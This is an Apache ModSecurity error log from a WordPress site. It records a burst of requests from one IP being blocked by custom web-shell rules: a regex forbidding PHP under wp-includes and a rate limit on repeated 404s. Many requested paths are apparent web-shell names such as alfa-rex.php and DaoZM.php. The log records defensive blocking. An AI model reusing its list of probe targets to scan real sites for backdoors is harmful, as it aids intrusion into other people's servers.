[Tue Mar 31 08:38:26.068620 2026] [:error] [pid 36891:tid 36932] [client 4.204.246.56:8106] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "acsXgpJhiMaJUqoqfl4xzQAAAEg"]
[Tue Mar 31 08:38:26.483064 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:7974] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "acsXghSaDjY9kKFtUQBiiwAAAQ0"]
[Tue Mar 31 08:38:26.898925 2026] [:error] [pid 36892:tid 36952] [client 4.204.246.56:7986] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "acsXgkyj9S4G0ek3O4LK0AAAAIE"]
[Tue Mar 31 08:38:27.312003 2026] [:error] [pid 41421:tid 41434] [client 4.204.246.56:7960] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "acsXgxSaDjY9kKFtUQBikgAAAQo"]
[Tue Mar 31 08:38:27.724704 2026] [:error] [pid 41421:tid 41427] [client 4.204.246.56:8148] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/style.php"] [unique_id "acsXgxSaDjY9kKFtUQBimAAAAQM"]
[Tue Mar 31 08:38:28.140891 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:8033] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/style.php"] [unique_id "acsXhPlMmeoQKN0r_GN7bAAAAMk"]
[Tue Mar 31 08:38:28.580142 2026] [:error] [pid 41421:tid 41440] [client 4.204.246.56:8058] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/style.php"] [unique_id "acsXhBSaDjY9kKFtUQBimwAAARA"]
[Tue Mar 31 08:38:28.991514 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:7996] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acsXhBSaDjY9kKFtUQBinQAAAQg"]
[Tue Mar 31 08:38:29.406782 2026] [:error] [pid 36890:tid 36918] [client 4.204.246.56:7912] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acsXhZ8FASPd_uH8z7dF3QAAABc"]
[Tue Mar 31 08:38:29.823904 2026] [:error] [pid 36890:tid 36898] [client 4.204.246.56:8061] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acsXhZ8FASPd_uH8z7dF5QAAAAM"]
[Tue Mar 31 08:38:30.244804 2026] [:error] [pid 36982:tid 36989] [client 4.204.246.56:8141] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acsXhvlMmeoQKN0r_GN7ewAAAMQ"]
[Tue Mar 31 08:38:30.663558 2026] [:error] [pid 41421:tid 41435] [client 4.204.246.56:7961] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "acsXhhSaDjY9kKFtUQBiowAAAQs"]
[Tue Mar 31 08:38:31.076493 2026] [:error] [pid 36982:tid 36988] [client 4.204.246.56:7873] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "acsXh_lMmeoQKN0r_GN7gAAAAMM"]
[Tue Mar 31 08:38:31.492354 2026] [:error] [pid 36891:tid 36930] [client 4.204.246.56:8028] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "acsXh5JhiMaJUqoqfl4x1wAAAEY"]
[Tue Mar 31 08:38:31.902029 2026] [:error] [pid 36890:tid 36919] [client 4.204.246.56:7887] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "acsXh58FASPd_uH8z7dF9QAAABg"]
[Tue Mar 31 08:38:32.311977 2026] [:error] [pid 36982:tid 36999] [client 4.204.246.56:7991] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "acsXiPlMmeoQKN0r_GN7gwAAAM4"]
[Tue Mar 31 08:38:32.726564 2026] [:error] [pid 41421:tid 41438] [client 4.204.246.56:7995] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "acsXiBSaDjY9kKFtUQBirgAAAQ4"]
[Tue Mar 31 08:38:33.139042 2026] [:error] [pid 36982:tid 37007] [client 4.204.246.56:7877] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acsXiflMmeoQKN0r_GN7hgAAANY"]
[Tue Mar 31 08:38:33.555778 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:7958] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acsXiflMmeoQKN0r_GN7hwAAAMY"]
[Tue Mar 31 08:38:33.970951 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:7967] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "acsXiflMmeoQKN0r_GN7igAAAMk"]
[Tue Mar 31 08:38:34.382692 2026] [:error] [pid 36891:tid 36940] [client 4.204.246.56:7854] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "acsXipJhiMaJUqoqfl4x4AAAAFA"]
[Tue Mar 31 08:38:34.817765 2026] [:error] [pid 36890:tid 36913] [client 4.204.246.56:7978] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acsXip8FASPd_uH8z7dF9wAAABI"]
[Tue Mar 31 08:38:35.232475 2026] [:error] [pid 36982:tid 37000] [client 4.204.246.56:7990] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acsXi_lMmeoQKN0r_GN7kAAAAM8"]
[Tue Mar 31 08:38:35.646268 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:7885] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acsXi_lMmeoQKN0r_GN7kwAAAMc"]
[Tue Mar 31 08:38:36.061895 2026] [:error] [pid 36890:tid 36908] [client 4.204.246.56:7931] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acsXjJ8FASPd_uH8z7dF_AAAAA0"]
[Tue Mar 31 08:38:36.477166 2026] [:error] [pid 36890:tid 36916] [client 4.204.246.56:8014] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acsXjJ8FASPd_uH8z7dF_QAAABU"]
[Tue Mar 31 08:38:36.900033 2026] [:error] [pid 36982:tid 36986] [client 4.204.246.56:8115] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acsXjPlMmeoQKN0r_GN7mgAAAME"]
[Tue Mar 31 08:38:37.312543 2026] [:error] [pid 36890:tid 36910] [client 4.204.246.56:7923] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acsXjZ8FASPd_uH8z7dGAAAAAA8"]
[Tue Mar 31 08:38:37.729688 2026] [:error] [pid 36890:tid 36912] [client 4.204.246.56:7916] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acsXjZ8FASPd_uH8z7dGAwAAABE"]
[Tue Mar 31 08:38:38.140982 2026] [:error] [pid 36982:tid 36987] [client 4.204.246.56:8006] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "acsXjvlMmeoQKN0r_GN7ogAAAMI"]
[Tue Mar 31 08:38:38.555685 2026] [:error] [pid 36890:tid 36917] [client 4.204.246.56:7947] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "acsXjp8FASPd_uH8z7dGBwAAABY"]
[Tue Mar 31 08:38:38.970198 2026] [:error] [pid 36891:tid 36933] [client 4.204.246.56:7911] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "acsXjpJhiMaJUqoqfl4x5QAAAEk"]
[Tue Mar 31 08:38:39.386749 2026] [:error] [pid 41421:tid 41436] [client 4.204.246.56:7962] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "acsXjxSaDjY9kKFtUQBiyQAAAQw"]
[Tue Mar 31 08:38:39.800873 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:7881] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acsXj_lMmeoQKN0r_GN7qQAAAMY"]
[Tue Mar 31 08:38:40.213355 2026] [:error] [pid 36890:tid 36908] [client 4.204.246.56:8043] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acsXkJ8FASPd_uH8z7dGCQAAAA0"]
[Tue Mar 31 08:38:40.631024 2026] [:error] [pid 41421:tid 41441] [client 4.204.246.56:8003] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acsXkBSaDjY9kKFtUQBizAAAARE"]
[Tue Mar 31 08:38:41.049411 2026] [:error] [pid 36982:tid 36999] [client 4.204.246.56:7811] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "acsXkflMmeoQKN0r_GN7rgAAAM4"]
[Tue Mar 31 08:38:41.497505 2026] [:error] [pid 41421:tid 41448] [client 4.204.246.56:7976] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acsXkRSaDjY9kKFtUQBi0gAAARg"]
[Tue Mar 31 08:38:41.912880 2026] [:error] [pid 36892:tid 36963] [client 4.204.246.56:7819] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acsXkUyj9S4G0ek3O4LK2gAAAIw"]
[Tue Mar 31 08:38:42.374796 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:7891] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acsXkvlMmeoQKN0r_GN7sQAAAMc"]
[Tue Mar 31 08:38:42.811561 2026] [:error] [pid 41421:tid 41430] [client 4.204.246.56:7906] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/DaoZM.php"] [unique_id "acsXkhSaDjY9kKFtUQBi2AAAAQY"]
[Tue Mar 31 08:38:43.249024 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:8188] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "acsXkxSaDjY9kKFtUQBi2QAAAQg"]
[Tue Mar 31 08:38:43.667936 2026] [:error] [pid 41421:tid 41433] [client 4.204.246.56:7845] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "acsXkxSaDjY9kKFtUQBi2gAAAQk"]
[Tue Mar 31 08:38:44.081586 2026] [:error] [pid 41421:tid 41428] [client 4.204.246.56:7861] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "acsXlBSaDjY9kKFtUQBi3gAAAQQ"]
[Tue Mar 31 08:38:44.535759 2026] [:error] [pid 41421:tid 41436] [client 4.204.246.56:7985] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "acsXlBSaDjY9kKFtUQBi4QAAAQw"]
[Tue Mar 31 08:38:44.959570 2026] [:error] [pid 41421:tid 41441] [client 4.204.246.56:7997] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/Type/alfa-rex.php"] [unique_id "acsXlBSaDjY9kKFtUQBi5AAAARE"]
[Tue Mar 31 08:38:45.394506 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:7946] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acsXlflMmeoQKN0r_GN7vwAAAMc"]
[Tue Mar 31 08:38:45.810021 2026] [:error] [pid 41421:tid 41442] [client 4.204.246.56:7851] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acsXlRSaDjY9kKFtUQBi6AAAARI"]
[Tue Mar 31 08:38:46.239700 2026] [:error] [pid 36982:tid 37004] [client 4.204.246.56:8128] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acsXlvlMmeoQKN0r_GN7wwAAANM"]
[Tue Mar 31 08:38:46.676408 2026] [:error] [pid 36891:tid 36946] [client 4.204.246.56:7867] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "acsXlpJhiMaJUqoqfl4x6gAAAFY"]
[Tue Mar 31 08:38:47.090141 2026] [:error] [pid 41421:tid 41439] [client 4.204.246.56:7919] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acsXlxSaDjY9kKFtUQBi7gAAAQ8"]
[Tue Mar 31 08:38:47.553147 2026] [:error] [pid 36982:tid 36989] [client 4.204.246.56:7914] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acsXl_lMmeoQKN0r_GN7xwAAAMQ"]
[Tue Mar 31 08:38:47.978156 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:7833] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acsXlxSaDjY9kKFtUQBi8wAAARM"]
[Tue Mar 31 08:38:48.429686 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:7998] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acsXmBSaDjY9kKFtUQBi9QAAAQ0"]
